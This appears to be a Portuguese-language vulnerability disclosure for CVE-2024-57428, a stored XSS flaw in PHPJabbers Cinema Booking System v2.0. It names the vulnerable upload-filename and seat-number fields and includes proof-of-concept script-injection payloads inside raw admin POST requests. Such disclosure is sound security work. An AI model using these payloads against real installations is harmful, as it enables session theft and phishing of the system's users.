ahrixia/cve-2024-57428CVE-2024-57428: PHPJabbers Cinema Booking System v2.0 sofre de XSS armazenado, permitindo injeção persistente de JavaScript para ataques de phishing e malware.
Existe uma vulnerabilidade de Cross-Site Scripting (XSS) armazenado no PHPJabbers Cinema Booking System v2.0 devido à entrada não sanitizada nos campos de upload de arquivo (event_img, seat_maps) e nas configurações de número de assento (number[new_X] no pjActionCreate). Atacantes podem injetar JavaScript persistente, levando a phishing, injeção de malware e sequestro de sessão.
Parâmetro Vulnerável: event_img e seat_maps's file name
XSS armazenado é mais severo que XSS reflexivo, pois afeta todos os usuários que acessam o conteúdo injetado. Pode ser utilizado para ataques de phishing persistentes, roubo de sessão ou injeção de malware em uma grande base de usuários.
Payload: \">
POST /CinemaBookingDev/index.php?controller=pjAdminEvents&action=pjActionCreate HTTP/1.1
Host: 127.0.0.1
Content-Length: 38611
[SNIP]
------WebKitFormBoundaryKOsvqJhAGpZAt33t
Content-Disposition: form-data; name="event_img"; filename="luffy.jpg\">"
Content-Type: image/jpeg
Payload: "><script>alert(x)</script>
POST /CinemaBookingDev/index.php?controller=pjAdminVenues&action=pjActionCreate HTTP/1.1
Host: 127.0.0.1
Content-Length: 1812
[SNIP]
------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="seats_count"
11
------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="number[new_1]"
1"><script>alert(1)</script>1
------WebKitFormBoundaryip9Mc6LkKna3bpSD
Content-Disposition: form-data; name="number[new_2]"
2"><script>alert(2)</script>2